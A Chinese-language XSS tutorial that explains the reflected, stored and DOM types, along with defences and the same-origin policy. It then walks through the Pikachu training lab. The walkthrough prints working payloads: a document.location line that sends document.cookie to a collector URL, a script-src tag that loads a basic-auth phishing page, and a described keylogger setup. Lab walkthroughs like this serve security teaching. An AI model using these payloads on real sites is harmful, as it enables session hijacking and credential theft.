链接:https://pan.baidu.com/s/1Tr7ONqDGA0u5kMOfN6oR1A
提取码:qvo2
目录
XSS (跨站脚本)概述
跨站脚本漏洞攻击流程:
跨站脚本漏洞的常见类型:
三种类型的区别:
形成原因:
XXS防御:
跨站脚本漏洞(xxs)漏洞的测试流程
利用方式:
钓鱼攻击:
什么是xss盲打
什么是跨域
同源策略
Pkxss管理后台使用介绍
XSS漏洞测试:钓鱼攻击:
XSS漏洞测试: xss获取键盘记录:
Cross-Site Scripting简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞。
XSS是一种发生在前端浏览器端的漏洞, 所以其危害的对象也是前端用户。
主要原因:是程序对输入和输出没有做合适的处理,导致”精心构造”的字 符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
XSS漏洞的防范:输入过滤、输出转义
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入:
输出转义:根据输出点的位置对输出到前端的内容进行适当转义。
危害:存储型>反射型> DOM型
反射型XSS(不会存在数据库里面,一般出现在查询页面)
反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。
存储型XSS(存在数据库里面,一般出现在注册页、留言板等)
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。
DOM型XSS(不与后台服务器交互数据 也属于反射型的一种 一种通过dom操作前端输出的时候产生问题)
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。
1.被攻击对象的不同
反射型XSS的被攻击对象一般是攻击者去寻找的
存储型XSS是广撒网的方式或者指定的方式,危害性更大,范围更广
DOM型XSS的被攻击对象其实和反射型XSS被攻击对象差不多,就是给攻击对象放送URL。
2.解析位置不同(个人感觉是反射型与存储型区别的本质)
反射型XSS的脚本被解析的地方是浏览器
存储型XSS的脚本被解析的地方是服务器
DOM型XSS也是浏览器,但是反射型XSS需要联网,而DOM型不需要
3.存储时间不同
反射型XSS是一次性
存储型XSS是存储在服务器上,只要服务器不挂机或者是被干掉,就一直会有
4.允许输入点的不同(这是DOM型与其他两种的区别)
反射型XSS在搜索框啊,或者是页面跳转啊这些地方
存储型XSS一般是留言,或者用户存储的地方
DOM是在DOM位置上,不取决于输入环境上
程序对输入输出没有做合适的处理,导致攻击者构造的字符输出到前端时被浏览器执行当作有效代码解析执行从而产生危害
输入过滤 不允许可能导致xss攻击的字符输入
输出转义 根据输出点的位置对输出到前端的内容进行适当转义
Xss是一种发生在前端的漏洞 所以危害的对象也主要是前端用户
Xss可以用来进行钓鱼攻击 前端js挖矿 用户cookie获取 甚至可以结合浏览器滋生的漏洞对用户主机进行远程控制等
找到输入点(查询接口、留言板等)
输入一组 特殊字符+唯一标识符 查看返回的源码 是否做出了相应的处理
通过搜索定位到唯一字符 (构造闭合)
构造脚本代码 (绕过) 查看是否执行成功 如果成功 存在xss漏洞
Get方式是比较容易地,参数放在url里面
:直接把url发送给目标就可以了
Post方式提交参数是以表单的方式放在请求体里面
:没法直接通过url发送给目标
用basic认证实现钓鱼场景
在实际的攻击场景当中 xss钓鱼的场景非常多 可以内嵌一些钓鱼页面 或者钓鱼链接
这里用basic认证实现钓鱼
在存在xss漏洞的页面 内嵌一个请求(javascript或者其他)
当用户打开了嵌入恶意代码的页面之后 页面会想远端的 后台(pkxss去发送一个请求)
这个请求会返回一个要求他进行bacis认证的头部 在用户界面上就会弹出一个要进行身份认证的提示框 一旦他输入了账号密码 这个账号密码就会发送到我们的pkxss后台
用户 用浏览器 访问存在xss漏洞的站点
站点 返回给浏览器的 数据带有 恶意js代码
用户 浏览器执行 js代码 要求 发送cookie给 攻击者
攻击者伪造用户登录站点,造成破环
也就是说我们输入的字符并不会在前端输出
只有他的管理员才能看到我们输入的内容 前端用户是看不到的
如果说管理员登陆后台之后 后台界面会把我们输入的内容进行输出的话 就意味着后台的管理人员会被x到
如果真的会被x到 那么这种场景的xss就叫xss的盲打
当协议、主机(主域名,子域名)、端口号中任意一个不同就是不同域
不同域之间请求数据的操作,称为跨域操作
两个域名之间不能使用js相互操作
为什么要有同源策略
A登陆了淘宝 攻击者大宋一个恶意连接urlb 盗取cookie
如果没有同源策略 urlb上的js可以操作A的内容 (如cookie)
同源策略限制了这种情况
Pkxss 可独立安装
配置数据库
登录进来
利用反射型xss get型 演示
首先去掉20个字节的限制
输入 alert()可弹窗
一:
这里我们输入一个长点的payload
document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
通过这个document.location实例所以个重定向(一旦他访问这个页面 javascript 就会执行 就会去访问 这个url 访问的时候就把kookie也带过去了)
通过这个实例去获取本地的kookie document.cookie
这样就形成了一个完整的get请求
输入 提交 查看 得到cookie
二:
document.location = 'http://127.0.0.1/pikachu-master?cookie=' + document.cookie;
输入 提交(自动跳转到首页) 查看 得到cookie 得到url发送给被攻击者 欺骗其点击 自动跳转到首页(自己设定) 后台多一条cookie记录 (点击链接者的cookie信息)
用basic认证实现钓鱼场景
在实际的攻击场景当中 xss钓鱼的场景非常多 可以内嵌一些钓鱼页面 或者钓鱼链接
这里用basic认证实现钓鱼
在存在xss漏洞的页面 内嵌一个请求(javascript或者其他)
当用户打开了嵌入恶意代码的页面之后 页面会想远端的 后台(pkxss去发送一个请求)
这个请求会返回一个要求他进行bacis认证的头部 在用户界面上就会弹出一个要进行身份认证的提示框 一旦他输入了账号密码 这个账号密码就会发送到我们的pkxss后台
利用存储型xss做演示:
只需要在存储型的页面去嵌入一个能够访问我们后台的返回basic认证的页面的标签就可以了 可以用a标签 可以用img script 都可以
src = 'http://127.0.0.1/pikachu-master/pkxss/xfish/xish.php'/>
我们这里用script标签里面的 src属性
每当用户访问这个页面的时候 就会去执行这段javascript的代码
就会通过src这个属性去请求我们远端的fish.php文件
是存储型的 每次访问这个页面都会弹出 输入框
只要输入账号密码 就获取账号密码 并保存在xss后台
了解一下什么是跨域
存储型xss做演示
这个src可以把127.0.0.1(目的地址)的js代码加载到本地来运行
输入点提交 script代码就被嵌入到页面里面
看网络请求 键盘输入 提示 请求失败 有错误提示
提示不能去请求0.1的php文件 因为没有被允许访问
没有被放到允许跨域请求的源地址里面
这样同源策略的好处:帮助用户做了这么一道安全措施
由于这个是攻击者自己搭建的 所以允许所有人来跨域请求他
把跨域请求的源设为所有 *代表所有
回到pikachu 刚刚代码已经被嵌入
直接键盘输入aaaaaa 发现很多网络请求 发现6个post请求
后台全部记录下来
这是xss的简单概述,简单聊了一下XSS的攻击流程、分类、各类别的区别、防御措施、测试流程、利用方式、xss盲打、跨域、同源策略等内容
利用pikachu后台简单做了三个小测试:盗取cookie,钓鱼,获取键盘值。
下一篇文章将具体写pikachu xss的通关过程